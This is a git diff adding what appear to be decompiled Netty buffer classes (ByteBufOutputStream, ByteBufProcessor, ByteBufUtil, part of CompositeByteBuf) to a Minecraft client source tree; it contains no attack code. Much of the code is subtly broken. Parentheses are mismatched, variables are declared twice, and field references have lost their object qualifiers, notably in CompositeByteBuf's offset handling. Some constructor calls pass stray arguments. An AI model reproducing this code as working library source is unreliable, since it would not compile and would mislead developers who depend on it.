+        if ((!buffer.isReadable()) || ((char)buffer.getUnsignedByte(buffer.readerIndex()) != '\n')) break;
+        buffer.skipBytes(1); break;
+      
+
+
+      default: 
+        lineBuf.append((char)c);
+      }
+      
+    }
+    return lineBuf.toString();
+  }
+  
+  public long readLong() throws IOException
+  {
+    checkAvailable(8);
+    return buffer.readLong();
+  }
+  
+  public short readShort() throws IOException
+  {
+    checkAvailable(2);
+    return buffer.readShort();
+  }
+  
+  public String readUTF() throws IOException
+  {
+    return DataInputStream.readUTF(this);
+  }
+  
+  public int readUnsignedByte() throws IOException
+  {
+    return readByte() & 0xFF;
+  }
+  
+  public int readUnsignedShort() throws IOException
+  {
+    return readShort() & 0xFFFF;
+  }
+  
+  public int skipBytes(int n) throws IOException
+  {
+    int nBytes = Math.min(available(), n);
+    buffer.skipBytes(nBytes);
+    return nBytes;
+  }
+  
+  private void checkAvailable(int fieldSize) throws IOException {
+    if (fieldSize < 0) {
+      throw new IndexOutOfBoundsException("fieldSize cannot be a negative number");
+    }
+    if (fieldSize > available()) {
+      throw new EOFException("fieldSize is too long! Length is " + fieldSize + ", but maximum is " + available());
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/ByteBufOutputStream.java b/src/minecraft/io/netty/buffer/ByteBufOutputStream.java
new file mode 100644
index 0000000..5b6323e
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/ByteBufOutputStream.java
@@ -0,0 +1,146 @@
+package io.netty.buffer;
+
+import java.io.DataOutput;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ByteBufOutputStream
+  extends OutputStream
+  implements DataOutput
+{
+  private final ByteBuf buffer;
+  private final int startIndex;
+  private final DataOutputStream utf8out = new DataOutputStream(this);
+  
+
+
+  public ByteBufOutputStream(ByteBuf buffer)
+  {
+    if (buffer == null) {
+      throw new NullPointerException("buffer");
+    }
+    this.buffer = buffer;
+    startIndex = buffer.writerIndex();
+  }
+  
+
+
+  public int writtenBytes()
+  {
+    return buffer.writerIndex() - startIndex;
+  }
+  
+  public void write(byte[] b, int off, int len) throws IOException
+  {
+    if (len == 0) {
+      return;
+    }
+    
+    buffer.writeBytes(b, off, len);
+  }
+  
+  public void write(byte[] b) throws IOException
+  {
+    buffer.writeBytes(b);
+  }
+  
+  public void write(int b) throws IOException
+  {
+    buffer.writeByte((byte)b);
+  }
+  
+  public void writeBoolean(boolean v) throws IOException
+  {
+    write(v ? 1 : 0);
+  }
+  
+  public void writeByte(int v) throws IOException
+  {
+    write(v);
+  }
+  
+  public void writeBytes(String s) throws IOException
+  {
+    int len = s.length();
+    for (int i = 0; i < len; i++) {
+      write((byte)s.charAt(i));
+    }
+  }
+  
+  public void writeChar(int v) throws IOException
+  {
+    writeShort((short)v);
+  }
+  
+  public void writeChars(String s) throws IOException
+  {
+    int len = s.length();
+    for (int i = 0; i < len; i++) {
+      writeChar(s.charAt(i));
+    }
+  }
+  
+  public void writeDouble(double v) throws IOException
+  {
+    writeLong(Double.doubleToLongBits(v));
+  }
+  
+  public void writeFloat(float v) throws IOException
+  {
+    writeInt(Float.floatToIntBits(v));
+  }
+  
+  public void writeInt(int v) throws IOException
+  {
+    buffer.writeInt(v);
+  }
+  
+  public void writeLong(long v) throws IOException
+  {
+    buffer.writeLong(v);
+  }
+  
+  public void writeShort(int v) throws IOException
+  {
+    buffer.writeShort((short)v);
+  }
+  
+  public void writeUTF(String s) throws IOException
+  {
+    utf8out.writeUTF(s);
+  }
+  
+
+
+  public ByteBuf buffer()
+  {
+    return buffer;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/ByteBufProcessor.java b/src/minecraft/io/netty/buffer/ByteBufProcessor.java
new file mode 100644
index 0000000..767f33c
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/ByteBufProcessor.java
@@ -0,0 +1,123 @@
+package io.netty.buffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface ByteBufProcessor
+{
+  public static final ByteBufProcessor FIND_NUL = new ByteBufProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return value != 0;
+    }
+  };
+  
+
+
+
+  public static final ByteBufProcessor FIND_NON_NUL = new ByteBufProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return value == 0;
+    }
+  };
+  
+
+
+
+  public static final ByteBufProcessor FIND_CR = new ByteBufProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return value != 13;
+    }
+  };
+  
+
+
+
+  public static final ByteBufProcessor FIND_NON_CR = new ByteBufProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return value == 13;
+    }
+  };
+  
+
+
+
+  public static final ByteBufProcessor FIND_LF = new ByteBufProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return value != 10;
+    }
+  };
+  
+
+
+
+  public static final ByteBufProcessor FIND_NON_LF = new ByteBufProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return value == 10;
+    }
+  };
+  
+
+
+
+  public static final ByteBufProcessor FIND_CRLF = new ByteBufProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return (value != 13) && (value != 10);
+    }
+  };
+  
+
+
+
+  public static final ByteBufProcessor FIND_NON_CRLF = new ByteBufProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return (value == 13) || (value == 10);
+    }
+  };
+  
+
+
+
+  public static final ByteBufProcessor FIND_LINEAR_WHITESPACE = new ByteBufProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return (value != 32) && (value != 9);
+    }
+  };
+  
+
+
+
+  public static final ByteBufProcessor FIND_NON_LINEAR_WHITESPACE = new ByteBufProcessor()
+  {
+    public boolean process(byte value) throws Exception {
+      return (value == 32) || (value == 9);
+    }
+  };
+  
+  public abstract boolean process(byte paramByte)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/buffer/ByteBufUtil.java b/src/minecraft/io/netty/buffer/ByteBufUtil.java
new file mode 100644
index 0000000..1656166
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/ByteBufUtil.java
@@ -0,0 +1,481 @@
+package io.netty.buffer;
+
+import io.netty.util.CharsetUtil;
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.SystemPropertyUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.CharBuffer;
+import java.nio.charset.CharacterCodingException;
+import java.nio.charset.Charset;
+import java.nio.charset.CharsetDecoder;
+import java.nio.charset.CharsetEncoder;
+import java.nio.charset.CoderResult;
+import java.util.Locale;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ByteBufUtil
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ByteBufUtil.class);
+  
+  private static final char[] HEXDUMP_TABLE = new char['Ѐ'];
+  
+  static final ByteBufAllocator DEFAULT_ALLOCATOR;
+  private static final int THREAD_LOCAL_BUFFER_SIZE;
+  
+  static
+  {
+    char[] DIGITS = "0123456789abcdef".toCharArray();
+    for (int i = 0; i < 256; i++) {
+      HEXDUMP_TABLE[(i << 1)] = DIGITS[(i >>> 4 & 0xF)];
+      HEXDUMP_TABLE[((i << 1) + 1)] = DIGITS[(i & 0xF)];
+    }
+    
+    String allocType = SystemPropertyUtil.get("io.netty.allocator.type", "unpooled").toLowerCase(Locale.US).trim();
+    ByteBufAllocator alloc;
+    if ("unpooled".equals(allocType)) {
+      ByteBufAllocator alloc = UnpooledByteBufAllocator.DEFAULT;
+      logger.debug("-Dio.netty.allocator.type: {}", allocType);
+    } else if ("pooled".equals(allocType)) {
+      ByteBufAllocator alloc = PooledByteBufAllocator.DEFAULT;
+      logger.debug("-Dio.netty.allocator.type: {}", allocType);
+    } else {
+      alloc = UnpooledByteBufAllocator.DEFAULT;
+      logger.debug("-Dio.netty.allocator.type: unpooled (unknown: {})", allocType);
+    }
+    
+    DEFAULT_ALLOCATOR = alloc;
+    
+    THREAD_LOCAL_BUFFER_SIZE = SystemPropertyUtil.getInt("io.netty.threadLocalDirectBufferSize", 65536);
+    logger.debug("-Dio.netty.threadLocalDirectBufferSize: {}", Integer.valueOf(THREAD_LOCAL_BUFFER_SIZE));
+  }
+  
+
+
+
+  public static String hexDump(ByteBuf buffer)
+  {
+    return hexDump(buffer, buffer.readerIndex(), buffer.readableBytes());
+  }
+  
+
+
+
+  public static String hexDump(ByteBuf buffer, int fromIndex, int length)
+  {
+    if (length < 0) {
+      throw new IllegalArgumentException("length: " + length);
+    }
+    if (length == 0) {
+      return "";
+    }
+    
+    int endIndex = fromIndex + length;
+    char[] buf = new char[length << 1];
+    
+    int srcIdx = fromIndex;
+    for (int dstIdx = 0; 
+        srcIdx < endIndex; dstIdx += 2) {
+      System.arraycopy(HEXDUMP_TABLE, buffer.getUnsignedByte(srcIdx) << 1, buf, dstIdx, 2);srcIdx++;
+    }
+    
+
+
+    return new String(buf);
+  }
+  
+
+
+
+  public static int hashCode(ByteBuf buffer)
+  {
+    int aLen = buffer.readableBytes();
+    int intCount = aLen >>> 2;
+    int byteCount = aLen & 0x3;
+    
+    int hashCode = 1;
+    int arrayIndex = buffer.readerIndex();
+    if (buffer.order() == ByteOrder.BIG_ENDIAN) {
+      for (int i = intCount; i > 0; i--) {
+        hashCode = 31 * hashCode + buffer.getInt(arrayIndex);
+        arrayIndex += 4;
+      }
+    } else {
+      for (int i = intCount; i > 0; i--) {
+        hashCode = 31 * hashCode + swapInt(buffer.getInt(arrayIndex));
+        arrayIndex += 4;
+      }
+    }
+    
+    for (int i = byteCount; i > 0; i--) {
+      hashCode = 31 * hashCode + buffer.getByte(arrayIndex++);
+    }
+    
+    if (hashCode == 0) {
+      hashCode = 1;
+    }
+    
+    return hashCode;
+  }
+  
+
+
+
+
+  public static boolean equals(ByteBuf bufferA, ByteBuf bufferB)
+  {
+    int aLen = bufferA.readableBytes();
+    if (aLen != bufferB.readableBytes()) {
+      return false;
+    }
+    
+    int longCount = aLen >>> 3;
+    int byteCount = aLen & 0x7;
+    
+    int aIndex = bufferA.readerIndex();
+    int bIndex = bufferB.readerIndex();
+    
+    if (bufferA.order() == bufferB.order()) {
+      for (int i = longCount; i > 0; i--) {
+        if (bufferA.getLong(aIndex) != bufferB.getLong(bIndex)) {
+          return false;
+        }
+        aIndex += 8;
+        bIndex += 8;
+      }
+    } else {
+      for (int i = longCount; i > 0; i--) {
+        if (bufferA.getLong(aIndex) != swapLong(bufferB.getLong(bIndex))) {
+          return false;
+        }
+        aIndex += 8;
+        bIndex += 8;
+      }
+    }
+    
+    for (int i = byteCount; i > 0; i--) {
+      if (bufferA.getByte(aIndex) != bufferB.getByte(bIndex)) {
+        return false;
+      }
+      aIndex++;
+      bIndex++;
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public static int compare(ByteBuf bufferA, ByteBuf bufferB)
+  {
+    int aLen = bufferA.readableBytes();
+    int bLen = bufferB.readableBytes();
+    int minLength = Math.min(aLen, bLen);
+    int uintCount = minLength >>> 2;
+    int byteCount = minLength & 0x3;
+    
+    int aIndex = bufferA.readerIndex();
+    int bIndex = bufferB.readerIndex();
+    
+    if (bufferA.order() == bufferB.order()) {
+      for (int i = uintCount; i > 0; i--) {
+        long va = bufferA.getUnsignedInt(aIndex);
+        long vb = bufferB.getUnsignedInt(bIndex);
+        if (va > vb) {
+          return 1;
+        }
+        if (va < vb) {
+          return -1;
+        }
+        aIndex += 4;
+        bIndex += 4;
+      }
+    } else {
+      for (int i = uintCount; i > 0; i--) {
+        long va = bufferA.getUnsignedInt(aIndex);
+        long vb = swapInt(bufferB.getInt(bIndex)) & 0xFFFFFFFF;
+        if (va > vb) {
+          return 1;
+        }
+        if (va < vb) {
+          return -1;
+        }
+        aIndex += 4;
+        bIndex += 4;
+      }
+    }
+    
+    for (int i = byteCount; i > 0; i--) {
+      short va = bufferA.getUnsignedByte(aIndex);
+      short vb = bufferB.getUnsignedByte(bIndex);
+      if (va > vb) {
+        return 1;
+      }
+      if (va < vb) {
+        return -1;
+      }
+      aIndex++;
+      bIndex++;
+    }
+    
+    return aLen - bLen;
+  }
+  
+
+
+
+  public static int indexOf(ByteBuf buffer, int fromIndex, int toIndex, byte value)
+  {
+    if (fromIndex <= toIndex) {
+      return firstIndexOf(buffer, fromIndex, toIndex, value);
+    }
+    return lastIndexOf(buffer, fromIndex, toIndex, value);
+  }
+  
+
+
+
+  public static short swapShort(short value)
+  {
+    return Short.reverseBytes(value);
+  }
+  
+
+
+  public static int swapMedium(int value)
+  {
+    int swapped = value << 16 & 0xFF0000 | value & 0xFF00 | value >>> 16 & 0xFF;
+    if ((swapped & 0x800000) != 0) {
+      swapped |= 0xFF000000;
+    }
+    return swapped;
+  }
+  
+
+
+  public static int swapInt(int value)
+  {
+    return Integer.reverseBytes(value);
+  }
+  
+
+
+  public static long swapLong(long value)
+  {
+    return Long.reverseBytes(value);
+  }
+  
+
+
+  public static ByteBuf readBytes(ByteBufAllocator alloc, ByteBuf buffer, int length)
+  {
+    boolean release = true;
+    ByteBuf dst = alloc.buffer(length);
+    try {
+      buffer.readBytes(dst);
+      release = false;
+      return dst;
+    } finally {
+      if (release) {
+        dst.release();
+      }
+    }
+  }
+  
+  private static int firstIndexOf(ByteBuf buffer, int fromIndex, int toIndex, byte value) {
+    fromIndex = Math.max(fromIndex, 0);
+    if ((fromIndex >= toIndex) || (buffer.capacity() == 0)) {
+      return -1;
+    }
+    
+    for (int i = fromIndex; i < toIndex; i++) {
+      if (buffer.getByte(i) == value) {
+        return i;
+      }
+    }
+    
+    return -1;
+  }
+  
+  private static int lastIndexOf(ByteBuf buffer, int fromIndex, int toIndex, byte value) {
+    fromIndex = Math.min(fromIndex, buffer.capacity());
+    if ((fromIndex < 0) || (buffer.capacity() == 0)) {
+      return -1;
+    }
+    
+    for (int i = fromIndex - 1; i >= toIndex; i--) {
+      if (buffer.getByte(i) == value) {
+        return i;
+      }
+    }
+    
+    return -1;
+  }
+  
+
+
+
+  public static ByteBuf encodeString(ByteBufAllocator alloc, CharBuffer src, Charset charset)
+  {
+    return encodeString0(alloc, false, src, charset);
+  }
+  
+  static ByteBuf encodeString0(ByteBufAllocator alloc, boolean enforceHeap, CharBuffer src, Charset charset) {
+    CharsetEncoder encoder = CharsetUtil.getEncoder(charset);
+    int length = (int)(src.remaining() * encoder.maxBytesPerChar());
+    boolean release = true;
+    ByteBuf dst;
+    ByteBuf dst; if (enforceHeap) {
+      dst = alloc.heapBuffer(length);
+    } else {
+      dst = alloc.buffer(length);
+    }
+    try {
+      ByteBuffer dstBuf = dst.internalNioBuffer(0, length);
+      int pos = dstBuf.position();
+      CoderResult cr = encoder.encode(src, dstBuf, true);
+      if (!cr.isUnderflow()) {
+        cr.throwException();
+      }
+      cr = encoder.flush(dstBuf);
+      if (!cr.isUnderflow()) {
+        cr.throwException();
+      }
+      dst.writerIndex(dst.writerIndex() + dstBuf.position() - pos);
+      release = false;
+      return dst;
+    } catch (CharacterCodingException x) {
+      throw new IllegalStateException(x);
+    } finally {
+      if (release) {
+        dst.release();
+      }
+    }
+  }
+  
+  static String decodeString(ByteBuffer src, Charset charset) {
+    CharsetDecoder decoder = CharsetUtil.getDecoder(charset);
+    CharBuffer dst = CharBuffer.allocate((int)(src.remaining() * decoder.maxCharsPerByte()));
+    try
+    {
+      CoderResult cr = decoder.decode(src, dst, true);
+      if (!cr.isUnderflow()) {
+        cr.throwException();
+      }
+      cr = decoder.flush(dst);
+      if (!cr.isUnderflow()) {
+        cr.throwException();
+      }
+    } catch (CharacterCodingException x) {
+      throw new IllegalStateException(x);
+    }
+    return dst.flip().toString();
+  }
+  
+
+
+
+
+  public static ByteBuf threadLocalDirectBuffer()
+  {
+    if (THREAD_LOCAL_BUFFER_SIZE <= 0) {
+      return null;
+    }
+    
+    if (PlatformDependent.hasUnsafe()) {
+      return ThreadLocalUnsafeDirectByteBuf.newInstance();
+    }
+    return ThreadLocalDirectByteBuf.newInstance();
+  }
+  
+  private ByteBufUtil() {}
+  
+  static final class ThreadLocalUnsafeDirectByteBuf extends UnpooledUnsafeDirectByteBuf {
+    private static final Recycler<ThreadLocalUnsafeDirectByteBuf> RECYCLER = new Recycler()
+    {
+
+      protected ByteBufUtil.ThreadLocalUnsafeDirectByteBuf newObject(Recycler.Handle handle) {
+        return new ByteBufUtil.ThreadLocalUnsafeDirectByteBuf(handle, null); }
+    };
+    private final Recycler.Handle handle;
+    
+    static ThreadLocalUnsafeDirectByteBuf newInstance() {
+      ThreadLocalUnsafeDirectByteBuf buf = (ThreadLocalUnsafeDirectByteBuf)RECYCLER.get();
+      buf.setRefCnt(1);
+      return buf;
+    }
+    
+
+    private ThreadLocalUnsafeDirectByteBuf(Recycler.Handle handle)
+    {
+      super(256, Integer.MAX_VALUE);
+      this.handle = handle;
+    }
+    
+    protected void deallocate()
+    {
+      if (capacity() > ByteBufUtil.THREAD_LOCAL_BUFFER_SIZE) {
+        super.deallocate();
+      } else {
+        clear();
+        RECYCLER.recycle(this, handle);
+      }
+    }
+  }
+  
+  static final class ThreadLocalDirectByteBuf extends UnpooledDirectByteBuf
+  {
+    private static final Recycler<ThreadLocalDirectByteBuf> RECYCLER = new Recycler()
+    {
+
+      protected ByteBufUtil.ThreadLocalDirectByteBuf newObject(Recycler.Handle handle) { return new ByteBufUtil.ThreadLocalDirectByteBuf(handle, null); }
+    };
+    private final Recycler.Handle handle;
+    
+    static ThreadLocalDirectByteBuf newInstance() {
+      ThreadLocalDirectByteBuf buf = (ThreadLocalDirectByteBuf)RECYCLER.get();
+      buf.setRefCnt(1);
+      return buf;
+    }
+    
+
+    private ThreadLocalDirectByteBuf(Recycler.Handle handle)
+    {
+      super(256, Integer.MAX_VALUE);
+      this.handle = handle;
+    }
+    
+    protected void deallocate()
+    {
+      if (capacity() > ByteBufUtil.THREAD_LOCAL_BUFFER_SIZE) {
+        super.deallocate();
+      } else {
+        clear();
+        RECYCLER.recycle(this, handle);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/CompositeByteBuf.java b/src/minecraft/io/netty/buffer/CompositeByteBuf.java
new file mode 100644
index 0000000..943b65b
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/CompositeByteBuf.java
@@ -0,0 +1,1602 @@
+package io.netty.buffer;
+
+import io.netty.util.ResourceLeak;
+import io.netty.util.ResourceLeakDetector;
+import io.netty.util.internal.EmptyArrays;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CompositeByteBuf
+  extends AbstractReferenceCountedByteBuf
+{
+  private final ResourceLeak leak;
+  private final ByteBufAllocator alloc;
+  private final boolean direct;
+  private final List<Component> components = new ArrayList();
+  private final int maxNumComponents;
+  private static final ByteBuffer FULL_BYTEBUFFER = (ByteBuffer)ByteBuffer.allocate(1).position(1);
+  private boolean freed;
+  
+  public CompositeByteBuf(ByteBufAllocator alloc, boolean direct, int maxNumComponents)
+  {
+    super(Integer.MAX_VALUE);
+    if (alloc == null) {
+      throw new NullPointerException("alloc");
+    }
+    this.alloc = alloc;
+    this.direct = direct;
+    this.maxNumComponents = maxNumComponents;
+    leak = leakDetector.open(this);
+  }
+  
+  public CompositeByteBuf(ByteBufAllocator alloc, boolean direct, int maxNumComponents, ByteBuf... buffers) {
+    super(Integer.MAX_VALUE);
+    if (alloc == null) {
+      throw new NullPointerException("alloc");
+    }
+    if (maxNumComponents < 2) {
+      throw new IllegalArgumentException("maxNumComponents: " + maxNumComponents + " (expected: >= 2)");
+    }
+    
+
+    this.alloc = alloc;
+    this.direct = direct;
+    this.maxNumComponents = maxNumComponents;
+    
+    addComponents0(0, buffers);
+    consolidateIfNeeded();
+    setIndex(0, capacity());
+    leak = leakDetector.open(this);
+  }
+  
+  public CompositeByteBuf(ByteBufAllocator alloc, boolean direct, int maxNumComponents, Iterable<ByteBuf> buffers)
+  {
+    super(Integer.MAX_VALUE);
+    if (alloc == null) {
+      throw new NullPointerException("alloc");
+    }
+    if (maxNumComponents < 2) {
+      throw new IllegalArgumentException("maxNumComponents: " + maxNumComponents + " (expected: >= 2)");
+    }
+    
+
+    this.alloc = alloc;
+    this.direct = direct;
+    this.maxNumComponents = maxNumComponents;
+    addComponents0(0, buffers);
+    consolidateIfNeeded();
+    setIndex(0, capacity());
+    leak = leakDetector.open(this);
+  }
+  
+
+
+
+
+
+
+
+  public CompositeByteBuf addComponent(ByteBuf buffer)
+  {
+    addComponent0(components.size(), buffer);
+    consolidateIfNeeded();
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public CompositeByteBuf addComponents(ByteBuf... buffers)
+  {
+    addComponents0(components.size(), buffers);
+    consolidateIfNeeded();
+    return this;
+  }
+  
+
+
+
+
+
+
+
+  public CompositeByteBuf addComponents(Iterable<ByteBuf> buffers)
+  {
+    addComponents0(components.size(), buffers);
+    consolidateIfNeeded();
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public CompositeByteBuf addComponent(int cIndex, ByteBuf buffer)
+  {
+    addComponent0(cIndex, buffer);
+    consolidateIfNeeded();
+    return this;
+  }
+  
+  private int addComponent0(int cIndex, ByteBuf buffer) {
+    checkComponentIndex(cIndex);
+    
+    if (buffer == null) {
+      throw new NullPointerException("buffer");
+    }
+    
+    int readableBytes = buffer.readableBytes();
+    if (readableBytes == 0) {
+      return cIndex;
+    }
+    
+
+    Component c = new Component(buffer.order(ByteOrder.BIG_ENDIAN).slice());
+    if (cIndex == components.size()) {
+      components.add(c);
+      if (cIndex == 0) {
+        endOffset = readableBytes;
+      } else {
+        Component prev = (Component)components.get(cIndex - 1);
+        offset = endOffset;
+        endOffset = (offset + readableBytes);
+      }
+    } else {
+      components.add(cIndex, c);
+      updateComponentOffsets(cIndex);
+    }
+    return cIndex;
+  }
+  
+
+
+
+
+
+
+
+
+  public CompositeByteBuf addComponents(int cIndex, ByteBuf... buffers)
+  {
+    addComponents0(cIndex, buffers);
+    consolidateIfNeeded();
+    return this;
+  }
+  
+  private int addComponents0(int cIndex, ByteBuf... buffers) {
+    checkComponentIndex(cIndex);
+    
+    if (buffers == null) {
+      throw new NullPointerException("buffers");
+    }
+    
+    int readableBytes = 0;
+    for (ByteBuf b : buffers) {
+      if (b == null) {
+        break;
+      }
+      readableBytes += b.readableBytes();
+    }
+    
+    if (readableBytes == 0) {
+      return cIndex;
+    }
+    
+
+    for (ByteBuf b : buffers) {
+      if (b == null) {
+        break;
+      }
+      if (b.isReadable()) {
+        cIndex = addComponent0(cIndex, b) + 1;
+        int size = components.size();
+        if (cIndex > size) {
+          cIndex = size;
+        }
+      } else {
+        b.release();
+      }
+    }
+    return cIndex;
+  }
+  
+
+
+
+
+
+
+
+
+  public CompositeByteBuf addComponents(int cIndex, Iterable<ByteBuf> buffers)
+  {
+    addComponents0(cIndex, buffers);
+    consolidateIfNeeded();
+    return this;
+  }
+  
+  private int addComponents0(int cIndex, Iterable<ByteBuf> buffers) {
+    if (buffers == null) {
+      throw new NullPointerException("buffers");
+    }
+    
+    if ((buffers instanceof ByteBuf))
+    {
+      return addComponent0(cIndex, (ByteBuf)buffers);
+    }
+    
+    if (!(buffers instanceof Collection)) {
+      List<ByteBuf> list = new ArrayList();
+      for (ByteBuf b : buffers) {
+        list.add(b);
+      }
+      buffers = list;
+    }
+    
+    Collection<ByteBuf> col = (Collection)buffers;
+    return addComponents0(cIndex, (ByteBuf[])col.toArray(new ByteBuf[col.size()]));
+  }
+  
+
+
+
+
+
+  private void consolidateIfNeeded()
+  {
+    int numComponents = components.size();
+    if (numComponents > maxNumComponents) {
+      int capacity = components.get(numComponents - 1)).endOffset;
+      
+      ByteBuf consolidated = allocBuffer(capacity);
+      
+
+      for (int i = 0; i < numComponents; i++) {
+        Component c = (Component)components.get(i);
+        ByteBuf b = buf;
+        consolidated.writeBytes(b);
+        c.freeIfNecessary();
+      }
+      Component c = new Component(consolidated);
+      endOffset = length;
+      components.clear();
+      components.add(c);
+    }
+  }
+  
+  private void checkComponentIndex(int cIndex) {
+    ensureAccessible();
+    if ((cIndex < 0) || (cIndex > components.size())) {
+      throw new IndexOutOfBoundsException(String.format("cIndex: %d (expected: >= 0 && <= numComponents(%d))", new Object[] { Integer.valueOf(cIndex), Integer.valueOf(components.size()) }));
+    }
+  }
+  
+
+  private void checkComponentIndex(int cIndex, int numComponents)
+  {
+    ensureAccessible();
+    if ((cIndex < 0) || (cIndex + numComponents > components.size())) {
+      throw new IndexOutOfBoundsException(String.format("cIndex: %d, numComponents: %d (expected: cIndex >= 0 && cIndex + numComponents <= totalNumComponents(%d))", new Object[] { Integer.valueOf(cIndex), Integer.valueOf(numComponents), Integer.valueOf(components.size()) }));
+    }
+  }
+  
+
+
+  private void updateComponentOffsets(int cIndex)
+  {
+    int size = components.size();
+    if (size <= cIndex) {
+      return;
+    }
+    
+    Component c = (Component)components.get(cIndex);
+    if (cIndex == 0) {
+      offset = 0;
+      endOffset = length;
+      cIndex++;
+    }
+    
+    for (int i = cIndex; i < size; i++) {
+      Component prev = (Component)components.get(i - 1);
+      Component cur = (Component)components.get(i);
+      offset = endOffset;
+      endOffset = (offset + length);
+    }
+  }
+  
+
+
+
+
+  public CompositeByteBuf removeComponent(int cIndex)
+  {
+    checkComponentIndex(cIndex);
+    ((Component)components.remove(cIndex)).freeIfNecessary();
+    updateComponentOffsets(cIndex);
+    return this;
+  }
+  
+
+
+
+
+
+  public CompositeByteBuf removeComponents(int cIndex, int numComponents)
+  {
+    checkComponentIndex(cIndex, numComponents);
+    
+    List<Component> toRemove = components.subList(cIndex, cIndex + numComponents);
+    for (Component c : toRemove) {
+      c.freeIfNecessary();
+    }
+    toRemove.clear();
+    
+    updateComponentOffsets(cIndex);
+    return this;
+  }
+  
+  public Iterator<ByteBuf> iterator() {
+    ensureAccessible();
+    List<ByteBuf> list = new ArrayList(components.size());
+    for (Component c : components) {
+      list.add(buf);
+    }
+    return list.iterator();
+  }
+  
+
+
+  public List<ByteBuf> decompose(int offset, int length)
+  {
+    checkIndex(offset, length);
+    if (length == 0) {
+      return Collections.emptyList();
+    }
+    
+    int componentId = toComponentIndex(offset);
+    List<ByteBuf> slice = new ArrayList(components.size());
+    
+
+    Component firstC = (Component)components.get(componentId);
+    ByteBuf first = buf.duplicate();
+    first.readerIndex(offset - offset);
+    
+    ByteBuf buf = first;
+    int bytesToSlice = length;
+    do {
+      int readableBytes = buf.readableBytes();
+      if (bytesToSlice <= readableBytes)
+      {
+        buf.writerIndex(buf.readerIndex() + bytesToSlice);
+        slice.add(buf);
+        break;
+      }
+      
+      slice.add(buf);
+      bytesToSlice -= readableBytes;
+      componentId++;
+      
+
+      buf = components.get(componentId)).buf.duplicate();
+    }
+    while (bytesToSlice > 0);
+    
+
+    for (int i = 0; i < slice.size(); i++) {
+      slice.set(i, ((ByteBuf)slice.get(i)).slice());
+    }
+    
+    return slice;
+  }
+  
+  public boolean isDirect()
+  {
+    int size = components.size();
+    if (size == 0) {
+      return false;
+    }
+    for (int i = 0; i < size; i++) {
+      if (!components.get(i)).buf.isDirect()) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  public boolean hasArray()
+  {
+    if (components.size() == 1) {
+      return components.get(0)).buf.hasArray();
+    }
+    return false;
+  }
+  
+  public byte[] array()
+  {
+    if (components.size() == 1) {
+      return components.get(0)).buf.array();
+    }
+    throw new UnsupportedOperationException();
+  }
+  
+  public int arrayOffset()
+  {
+    if (components.size() == 1) {
+      return components.get(0)).buf.arrayOffset();
+    }
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    if (components.size() == 1) {
+      return components.get(0)).buf.hasMemoryAddress();
+    }
+    return false;
+  }
+  
+  public long memoryAddress()
+  {
+    if (components.size() == 1) {
+      return components.get(0)).buf.memoryAddress();
+    }
+    throw new UnsupportedOperationException();
+  }
+  
+  public int capacity()
+  {
+    if (components.isEmpty()) {
+      return 0;
+    }
+    return components.get(components.size() - 1)).endOffset;
+  }
+  
+  public CompositeByteBuf capacity(int newCapacity)
+  {
+    ensureAccessible();
+    if ((newCapacity < 0) || (newCapacity > maxCapacity())) {
+      throw new IllegalArgumentException("newCapacity: " + newCapacity);
+    }
+    
+    int oldCapacity = capacity();
+    if (newCapacity > oldCapacity) {
+      int paddingLength = newCapacity - oldCapacity;
+      
+      int nComponents = components.size();
+      if (nComponents < maxNumComponents) {
+        ByteBuf padding = allocBuffer(paddingLength);
+        padding.setIndex(0, paddingLength);
+        addComponent0(components.size(), padding);
+      } else {
+        ByteBuf padding = allocBuffer(paddingLength);
+        padding.setIndex(0, paddingLength);
+        
+
+        addComponent0(components.size(), padding);
+        consolidateIfNeeded();
+      }
+    } else if (newCapacity < oldCapacity) {
+      int bytesToTrim = oldCapacity - newCapacity;
+      for (ListIterator<Component> i = components.listIterator(components.size()); i.hasPrevious();) {
+        Component c = (Component)i.previous();
+        if (bytesToTrim >= length) {
+          bytesToTrim -= length;
+          i.remove();
+
+        }
+        else
+        {
+          Component newC = new Component(buf.slice(0, length - bytesToTrim));
+          offset = offset;
+          endOffset = (offset + length);
+          i.set(newC);
+        }
+      }
